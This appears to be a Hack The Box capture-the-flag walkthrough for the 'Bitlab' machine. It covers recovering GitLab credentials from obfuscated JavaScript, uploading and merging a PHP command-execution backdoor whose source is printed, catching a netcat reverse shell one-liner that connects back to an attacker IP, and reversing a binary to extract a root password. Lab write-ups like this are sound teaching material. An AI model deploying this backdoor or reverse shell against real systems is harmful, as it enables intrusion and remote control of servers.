Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Disallow: /*/-/group_members
Disallow: /*/project_members
[email protected]:~/Desktop/HTB/boxes/bitlab#

Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:

There was an interesting link called Gitlab Login:

Clicking on that link didnā€™t result in anything, so I checked the source of the page, the href attribute had some javascript code:

1
<DT><A HREF="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>

I took that code, edited it a little bit and used the js console to execute it:

1
2
3
4
5
[email protected]:~/Desktop/HTB/boxes/bitlab# js
> var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
Thrown:
ReferenceError: document is not defined
>

Then I printed the variable _0x4b18 which had the credentials for Gitlab:

1
2
3
4
5
6
7
8
> _0x4b18
[ 'value',
'user_login',
'getElementById',
'clave',
'user_password',
'11des0081x' ]
>

File Upload ā€“> RCE ā€“> Shell as www-data

After logging in with the credentials (clave : 11des0081x) I found two repositories, Profile and Deployer:


I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:

1
2
3
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Back to the repositories, I checked Profile and it was pretty empty:

The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:


Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!-- http://michaeldaw.org 2006 -->


Then I merged it to the master branch:


I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a shell, had to urlencode it first:

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/html/profile$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/bitlab# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337

[email protected]:/var/www/html/profile$ export TERM=screen
[email protected]:/var/www/html/profile$

Database Access ā€“> Claveā€™s Password ā€“> SSH as Clave ā€“> User Flag

After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasnā€™t installed:

1
2
3
[email protected]:/var/www/html/profile$ psql
bash: psql: command not found
[email protected]:/var/www/html/profile$

So I had to do it with php:

1
2
3
4
[email protected]:/var/www/html/profile$ php -a
Interactive mode enabled

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');

I executed the same query from the code snippet which queried everything from the table profiles, and I got claveā€™s password which I could use to get ssh access:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php > $result = $connection->query("SELECT * FROM profiles");
php > $profiles = $result->fetchAll();
php > print_r($profiles);
Array
(
[0] => Array
(
[id] => 1
[0] => 1
[username] => clave
[1] => clave
[password] => c3NoLXN0cjBuZy1wQHNz==
[2] => c3NoLXN0cjBuZy1wQHNz==
)

)
php >


We owned user.

Reversing RemoteConnection.exe ā€“> Rootā€™s Password ā€“> SSH as Root ā€“> Root Flag

In the home directory of clave there was a Windows executable called RemoteConnection.exe:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~$ ls -la
total 44
drwxr-xr-x 4 clave clave 4096 Aug 8 14:40 .
drwxr-xr-x 3 root root 4096 Feb 28 2019 ..
lrwxrwxrwx 1 root root 9 Feb 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave 3771 Feb 28 2019 .bashrc
drwx------ 2 clave clave 4096 Aug 8 14:40 .cache
drwx------ 3 clave clave 4096 Aug 8 14:40 .gnupg
-rw-r--r-- 1 clave clave 807 Feb 28 2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave 33 Feb 28 2019 user.txt
[email protected]:~$

I downloaded it on my box:

1
2
3
4
[email protected]:~/Desktop/HTB/boxes/bitlab# scp [email protected]:/home/clave/RemoteConnection.exe ./
[email protected]'s password:
RemoteConnection.exe 100% 14KB 16.5KB/s 00:00
[email protected]:~/Desktop/HTB/boxes/bitlab#

Then I started looking at the code decompilation with Ghidra. One function that caught my attention was FUN_00401520():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

/* WARNING: Could not reconcile some variable overlaps */

void FUN_00401520(void)

{
LPCWSTR pWVar1;
undefined4 ***pppuVar2;
LPCWSTR lpParameters;
undefined4 ***pppuVar3;
int **in_FS_OFFSET;
uint in_stack_ffffff44;
undefined4 *puVar4;
uint uStack132;
undefined *local_74;
undefined *local_70;
wchar_t *local_6c;
void *local_68 [4];
undefined4 local_58;
uint local_54;
void *local_4c [4];
undefined4 local_3c;
uint local_38;
undefined4 ***local_30 [4];
int local_20;
uint local_1c;
uint local_14;
int *local_10;
undefined *puStack12;
undefined4 local_8;

local_8 = 0xffffffff;
puStack12 = &LAB_004028e0;
local_10 = *in_FS_OFFSET;
uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc;
*(int ***)in_FS_OFFSET = &local_10;
local_6c = (wchar_t *)0x4;
local_14 = uStack132;
GetUserNameW((LPWSTR)0x4,(LPDWORD)&local_6c);
local_38 = 0xf;
local_3c = 0;
local_4c[0] = (void *)((uint)local_4c[0] & 0xffffff00);
FUN_004018f0();
local_8 = 0;
FUN_00401260(local_68,local_4c);
local_74 = &stack0xffffff60;
local_8._0_1_ = 1;
FUN_004018f0();
local_70 = &stack0xffffff44;
local_8._0_1_ = 2;
puVar4 = (undefined4 *)(in_stack_ffffff44 & 0xffffff00);
FUN_00401710(local_68);
local_8._0_1_ = 1;
FUN_00401040(puVar4);
local_8 = CONCAT31(local_8._1_3_,3);
lpParameters = (LPCWSTR)FUN_00401e6d();
pppuVar3 = local_30[0];
if (local_1c < 0x10) {
pppuVar3 = local_30;
}
pWVar1 = lpParameters;
pppuVar2 = local_30[0];
if (local_1c < 0x10) {
pppuVar2 = local_30;
}
while (pppuVar2 != (undefined4 ***)(local_20 + (int)pppuVar3)) {
*pWVar1 = (short)*(char *)pppuVar2;
pWVar1 = pWVar1 + 1;
pppuVar2 = (undefined4 ***)((int)pppuVar2 + 1);
}
lpParameters[local_20] = L'\0';
if (local_6c == L"clave") {
ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
,10);
}
else {
FUN_00401c20((int *)cout_exref);
}
if (0xf < local_1c) {
operator_delete(local_30[0]);
}
local_1c = 0xf;
local_20 = 0;
local_30[0] = (undefined4 ***)((uint)local_30[0] & 0xffffff00);
if (0xf < local_54) {
operator_delete(local_68[0]);
}
local_54 = 0xf;
local_58 = 0;
local_68[0] = (void *)((uint)local_68[0] & 0xffffff00);
if (0xf < local_38) {
operator_delete(local_4c[0]);
}
*in_FS_OFFSET = local_10;
FUN_00401e78();
return;
}

It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldnā€™t see:

1
2
3
4
if (local_6c == L"clave") {
ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
,10);
}

This is how the same part looked like in IDA:

I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger to find out what was happening, and I found an access violation:

It happened before reaching the function Iā€™m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs.
I had to set a breakpoint before the cmp instruction, so I searched for the word ā€œclaveā€ in the referenced text strings and I followed it in the disassembler:


Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:

After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:

1
2
EAX 00993E80 UNICODE "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EBX 00993DA0 ASCII "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""


And we owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Craft
Next Hack The Box write-up : Hack The Box - Player

āŒ